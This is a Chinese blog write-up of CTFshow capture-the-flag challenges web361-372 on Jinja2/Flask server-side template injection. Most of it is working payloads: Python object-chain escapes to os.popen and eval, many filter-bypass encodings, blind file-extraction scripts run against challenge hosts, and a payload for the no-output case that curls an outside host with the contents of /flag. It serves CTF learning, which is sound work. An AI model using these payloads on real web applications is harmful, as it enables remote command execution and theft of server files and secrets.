CTFshow刷题日记-WEB-SSTI(web361-372)

ssti 篇，大多数为 python ssti

预习链接

链接1 链接2

基础知识

代码块

变量块 {{}}	用于将表达式打印到模板输出
注释块 {##}	注释
控制块	{%%}	可以声明变量，也可以执行语句
行声明	##		可以有和{%%}相同的效果

常用方法

__class__           查看对象所在的类
__mro__             查看继承关系和调用顺序，返回元组
__base__            返回基类
__bases__           返回基类元组
__subclasses__()    返回子类列表
__init__            调用初始化函数，可以用来跳到__globals__
__globals__         返回函数所在的全局命名空间所定义的全局变量，返回字典
__builtins__        返回内建内建名称空间字典
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上，在实例化的对象进行.操作的时候（形如:a.xxx/a.xxx()）		都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值，其实就是调用这个魔术方法，比如a['b']，就是a.__getitem__('b')
__builtins__         内建名称空间，内建名称空间有许多名字到对象之间映射，而这些名字其实就是内建函数的名称，对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了，百度都有。
__import__           动态加载类和函数，也就是导入模块，经常用于导入os模块，__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串，可以理解成就是打印出来。
url_for              flask的一个方法，可以用于得到__builtins__，而且url_for.__globals__['__builtins__']含有current_app
get_flashed_messages flask的一个方法，可以用于得到__builtins__，而且url_for.__globals__['__builtins__']含有current_app
lipsum               flask的一个方法，可以用于得到__builtins__，而且lipsum.__globals__含有os模块：{{lipsum.__globals__['os'].popen('ls').read()}}
{{cycler.__init__.__globals__.os.popen('ls').read()}}
current_app          应用上下文，一个全局变量
request              可以用于获取字符串来绕过，包括下面这些，引用一下羽师傅的。此外，同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1   	 get传参
request.values.x1 	 所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 post传参	(Content-Type:a/b)
request.json		 post传json  (Content-Type: application/json)
config               当前application的所有配置。此外，也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

过滤器

int()		将值转换为int类型；

float()		将值转换为float类型；

lower()		将字符串转换为小写；

upper()		将字符串转换为大写；

title()		把值中的每个单词的首字母都转成大写；

capitalize()	把变量值的首字母转成大写，其余字母转小写；

trim()		截取字符串前面和后面的空白字符；

wordcount()	计算一个长字符串中单词的个数；

reverse()	字符串反转；

replace(value,old,new)	替换将old替换为new的字符串；

truncate(value,length=255,killwords=False)	截取length长度的字符串；

striptags()	删除字符串中所有的HTML标签，如果出现多个空格，将替换成一个空格；

escape()或e	转义字符，会将<、>等符号转义成HTML中的符号。显例：content|escape或content|e。

safe()		禁用HTML转义，如果开启了全局转义，那么safe过滤器会将变量关掉转义。示例： {{'<em>hello</em>'|safe}}；

list()		将变量列成列表；

string()	将变量转换成字符串；

join()		将一个序列中的参数值拼接成字符串。示例看上面payload；

abs()		返回一个数值的绝对值；

first()		返回一个序列的第一个元素；

last()		返回一个序列的最后一个元素；

format(value,arags,*kwargs)	格式化字符串。比如：{{"%s" - "%s"|format('Hello?',"Foo!") }}将输出：Helloo? - Foo!

length()	返回一个序列或者字典的长度；

sum()		返回列表内数值的和；

sort()		返回排序后的列表；

default(value,default_value,boolean=false)	如果当前变量没有值，则会使用参数中的值来代替。示例：name|default('xiaotuo')----如果name不存在，则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值，如果想使用python的形式判断是否为false，则可以传递boolean=true。也可以使用or来替换。

length()	返回字符串的长度，别名是count

利用链

python2、python3 通用 payload（因为每个环境使用的python库不同 所以类的排序有差异）

• 直接使用 popen（python2不行）

  os._wrap_close 类里有popen
  
  "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
  "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()
  

• 使用 os 下的 popen

  含有 os 的基类都可以，如 linecache
  
  "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()
  

• 使用__import__下的os（python2不行）

  可以使用 __import__ 的 os
  
  "".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()
  

• __builtins__下的多个函数

  __builtins__下有eval，__import__等的函数，可以利用此来执行命令
  
  "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
  "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
  "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
  "".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()
  

• 利用 python2 的 file 类读取文件

  在 python3 中 file 类被删除
  
  # 读文件
  [].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()
  [].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()
  # 写文件
  "".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')
  # python2的str类型不直接从属于属于基类，所以要两次 .__bases__
  

• flask内置函数

  Flask内置函数和内置对象可以通过{{self.__dict__._TemplateReference__context.keys()}}查看，然后可以查看一下这几个东西的类型，类可以通过__init__方法跳到os，函数直接用__globals__方法跳到os。（payload一下子就简洁了）
  
  {{self.__dict__._TemplateReference__context.keys()}}
  #查看内置函数
  #函数：lipsum、url_for、get_flashed_messages
  #类：cycler、joiner、namespace、config、request、session
  {{lipsum.__globals__.os.popen('ls').read()}}
  #函数
  {{cycler.__init__.__globals__.os.popen('ls').read()}}
  #类
  

  如果要查config但是过滤了config直接用self.__dict__就能找到里面的config

• 通用 getshell

  原理就是找到含有 __builtins__ 的类，然后利用
  
  {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
  #读写文件
  {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
  

注入思路

1.随便找一个内置类对象用__class__拿到他所对应的类
2.用__bases__拿到基类（<class 'object'>）
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类getshell

对象→类→基本类→子类→__init__方法→__globals__属性→__builtins__属性→eval函数

web361-无过滤

提示：名字就是考点

还以为是题目名，结果是英文的 name

简单测试下

?name={{7*7}}
# 回显49，说明执行了语句

查找可以利用的函数

?name={{%27%27.__class__.__base__.__subclasses__()}}

提供 os._wrap_close 中的 popen 函数

?name={{%27%27.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac ../flag').read()}}

# 这种方法的缺点在于需要找到 类 的索引

132这个位置可以用过脚本来找

f = open('test.txt', 'r')
data = f.read()
r = data.split("<TemplateReference None>")
for i in range(len(r)):
    if 'catch_warnings' in r[i]:
        print(i, '~~~', r[i])
f.close()

也可以直接用 lipsum 和 cycler 执行命令

?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}

或者用控制块去直接执行命令

?name={% print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat ../flag').read()"))%}

可用方法有很多很多

web362-无过滤

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
# x 可以为任意英文字母或字母组合

web363-过滤单双引号

过滤了单引号、双引号

get 传参方式绕过

?name={{lipsum.__globals__.os.popen(request.args.ocean).read()}}&ocean =cat /flag

?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag

字符串拼接绕过

(config.__str__()[2])
(config.__str__()[42])	

?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
等于
?name={{url_for.__globals__['os']}}

通过chr拼接

先找出 chr 函数，同过 chr 拼接

?name={% set chr=url_for.__globals__.__builtins__.chr %}{% print  url_for.__globals__[chr(111)%2bchr(115)]%}

通过过滤器拼接

(()|select|string)[24]

web364-过滤args

过滤了单双引号，args

values 可以获取所有参数，从而绕过 args

?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

也可以通过 cookie 绕过

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
a=os;b=popen;c=cat /flag

字符串变量变量绕过方法

1、拼接

"cla"+"ss"

2、反转

"__ssalc__"[::-1]

但是实际上我发现其实加号是多余的，在jinjia2里面，“cla”"ss"是等同于"class"的，也就是说我们可以这样引用class，并且绕过字符串过滤

""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

3、ascii转换

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

4、编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话，还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")

5、利用chr函数
因为我们没法直接使用chr函数，所以需要通过__builtins__找到他

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

6、在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

7、大小写转换
前提是过滤的只是小写

""["__CLASS__".lower()]

8、利用过滤器

('__clas','s__')|join
["__CLASS__"|lower
"__claee__"|replace("ee","ss") 
"__ssalc__"|reverse
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)


(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]

dict(__clas=a,s__=b)|join

获取键值或下标

dict['__builtins__']
dict.__getitem__('__builtins__')
dict.pop('__builtins__')
dict.get('__builtins__')
dict.setdefault('__builtins__')
list[0]
list.__getitem__(0)
list.pop(0)

获取属性

().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")

以上来自羽师傅的博客链接

web365-过滤中括号[]

fuzz 字典跑一遍，发现单双引号、args、[]被过滤

方法一：values传参

# values 没有被过滤
?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

方法二：cookie传参

# cookie 可以使用
?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag

方法三：字符串拼接

中括号可以拿点绕过，拿__getitem__等绕过都可以

通过 __getitem__()构造任意字符，比如

?name={{config.__str__().__getitem__(22)}}   # 就是22

python 脚本

# anthor:秀儿
import requests
url="http://24d7f73c-6e64-4d9c-95a7-abe78558771a.chall.ctf.show:8080/?name={{config.__str__().__getitem__(%d)}}"

payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url%(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j:
            print("config.__str__().__getitem__(%d) == %s"%(i,j))
            result+="config.__str__().__getitem__(%d)~"%(i)
            break
print(result[:len(result)-1])

?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}

web366-过滤下划线

过滤了单双引号、args、中括号[]、下划线

传参绕过检测

values 版

?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

因为后端只检测 name 传参的部分，所以其他部分就可以传入任意字符，和 rce 绕过一样

cookie 简化版

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

cookie:a=__globals__;b=cat /flag

web367-过滤os

过滤了单双引号、args、中括号[]、下划线、os

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

web368-过滤{{

过滤单双引号、args、中括号[]、下划线、os、{{

方法一：{%绕过

只过滤了两个左括号，没有过滤 {%

?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag

方法二：{%%}盲注

原理

open('/flag').read()是回显整个文件，但是read函数里加上参数：open('/flag').read(1)，返回的就是读出所读的文件里的i个字符，以此类推，就可以盲注出了

# anthor:秀儿
import requests

url="http://3db27dbc-dccc-46d0-bc78-eff3fc21af74.chall.ctf.show:8080/"
flag=""
for i in range(1,100):
    for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
        params={
   
            'name':"{
   {% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{
   {% if a==request.values.d %}}feng{
   {% endif %}}".format(i),
            'a':'__globals__',
            'b':'__builtins__',
            'c':'/flag',
            'd':f'{flag+j}'
        }
        r=requests.get(url=url,params=params)
        if "feng" in r.text:
            flag+=j
            print(flag)
            if j=="}":
                exit()
            break

注意name那里用了{ {和}}，这是因为我用的format格式化字符串，用{}来占位，如果里面本来就有{和}的话，就需要用{ {和}}来代替{和}

web369-过滤request

过滤单双引号、args、中括号[]、下划线、os、{{、request

request 终于还是迎来了被ban

方法一：字符串拼接

绕过方法就是使用 365 题的字符串拼接，但是下划线被 ban，__str__()不能用，需要用 string 过滤器得到 config 字符串：config|string，但是获得字符串后本来应该用中括号或者__getitem__()，但是问题是_被ban了，所以获取字符串中的某个字符比较困难，这里转换成列表，再用列表的pop方法就可以成功得到某个字符了，在跑字符的时候发现没有小写的b，只有大写的B，所以再去一层.lower()方法，方便跑更多字符

python 脚本如下

# anthor:秀儿
import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={
   {% print (config|string|list).pop({}).lower() %}}"

payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url.format(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j.lower():
            print("(config|string|list).pop(%d).lower() == %s"%(i,j))
            result+="(config|string|list).pop(%d).lower()~"%(i)
            break
print(result[:len(result)-1])

payload

?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
)).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}

方法二：替换字符

?name=
{% set a=(()|select|string|list).pop(24) %}
{
   % set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{
   % set init=(a,a,dict(init=1)|join,a,a)|join %}
{
   % set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{
   % set a=(lipsum|attr(globals)).get(builtins) %}
{
   % set chr=a.chr %}
{
   % print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}

相当于

lipsum.__globals__['__builtins__'].open('/flag').read()

# 在__builtins__里面拿到chr，同样可以很方便的构造字符

web370-过滤数字

过滤数字

{%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set x=(()|select|string|list).pop(num)%}
{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}
{%set builtins=x~x~(dict(builtins=a)|join)~x~x%}
{%set c = dict(chr=a)|join%}
{%set o = dict(o=a,s=a)|join%}
{%set getitem = x~x~(dict(getitem=a)|join)~x~x%}
{%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%}
{%set file = chr(numm)~dict(flag=a)|join%}
{%print((lipsum|attr(glob)|attr(getitem)(builtins)).open(file).read())%}

web371-无回显

过滤 print 关键字，flag 不会回显，可以用curl命令将flag带出来，最后这两道题用到的数字范围为可见字符的 ascii 码值，所以将0-9构造出来进行拼接

{%set e=dict(a=a)|join|count%}
{%set ee=dict(aa=a)|join|count%}
{%set eee=dict(aaa=a)|join|count%}
{%set eeee=dict(aaaa=a)|join|count%}
{%set eeeee=dict(aaaaa=a)|join|count%}
{%set eeeeee=dict(aaaaaa=a)|join|count%}
{%set eeeeeee=dict(aaaaaaa=a)|join|count%}
{%set eeeeeeee=dict(aaaaaaaa=a)|join|count%}
{%set eeeeeeeee=dict(aaaaaaaaa=a)|join|count%}
{%set eeeeeeeeee=dict(aaaaaaaaaa=a)|join|count%}
{%set x=(()|select|string|list).pop((ee~eeee)|int)%}
{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}
{%set builtins=x~x~(dict(builtins=a)|join)~x~x%}
{%set import=x~x~(dict(import=a)|join)~x~x%}
{%set c = dict(chr=a)|join%}
{%set o = dict(o=a,s=a)|join%}
{%set getitem = x~x~(dict(getitem=a)|join)~x~x%}
{%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%}
{%set zero=chr((eeee~eeeeeeee)|int)%}
{%set cmd = 
%}
{%if (lipsum|attr(glob)|attr(getitem)(builtins)).eval(cmd)%}
eastjun
{%endif%}

用命令生成脚本写一个__import__('os').system('curl eastjun.top?cat /flag')到cmd的位置

import re
def filting(s):
    return "".join([f"chr({ord(i)})~" for i in s])[:-1]
cmd=filting("curl https://eastjun.top?flag=`cat /flag`")
nums = set(re.findall("(\d+)",cmd))
for i in nums:
    patnum = "".join(["zero~" if j=="0" else f'{"e" * int(j)}~' for j in f"{i}"])
    cmd = cmd.replace(f"{i}",f"({patnum[:-1]})|int")
print(cmd)

web372-无回显过滤count

{%set e=dict(a=a)|join|length%}
{%set ee=dict(aa=a)|join|length%}
{%set eee=dict(aaa=a)|join|length%}
{%set eeee=dict(aaaa=a)|join|length%}
{%set eeeee=dict(aaaaa=a)|join|length%}
{%set eeeeee=dict(aaaaaa=a)|join|length%}
{%set eeeeeee=dict(aaaaaaa=a)|join|length%}
{%set eeeeeeee=dict(aaaaaaaa=a)|join|length%}
{%set eeeeeeeee=dict(aaaaaaaaa=a)|join|length%}
{%set eeeeeeeeee=dict(aaaaaaaaaa=a)|join|length%}
{%set x=(()|select|string|list).pop((ee~eeee)|int)%}
{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}
{%set builtins=x~x~(dict(builtins=a)|join)~x~x%}
{%set import=x~x~(dict(import=a)|join)~x~x%}
{%set c = dict(chr=a)|join%}
{%set o = dict(o=a,s=a)|join%}
{%set getitem = x~x~(dict(getitem=a)|join)~x~x%}
{%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%}
{%set zero=chr((eeee~eeeeeeee)|int)%}
{%set cmd = 
%}
{%if (lipsum|attr(glob)|attr(getitem)(builtins)).eval(cmd)%}
eastjun
{%endif%}

以上三题摘自 eastjun 师傅博客

参考链接

这四个师傅的博客很棒，这篇文章也是参考了大师傅的博客，让我学习到了很多，膜拜

https://eastjun.top/2021/04/03/ctfshow-ssti/

https://blog.csdn.net/miuzzx/article/details/110220425

http://article.docway.net/it/details/603372874da5fa7d6084f89c

http://www.cl4y.top/ssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0/

标签：__,WEB,set,globals,.__,web361,SSTI,dict,config
来源： https://blog.csdn.net/q20010619/article/details/120493997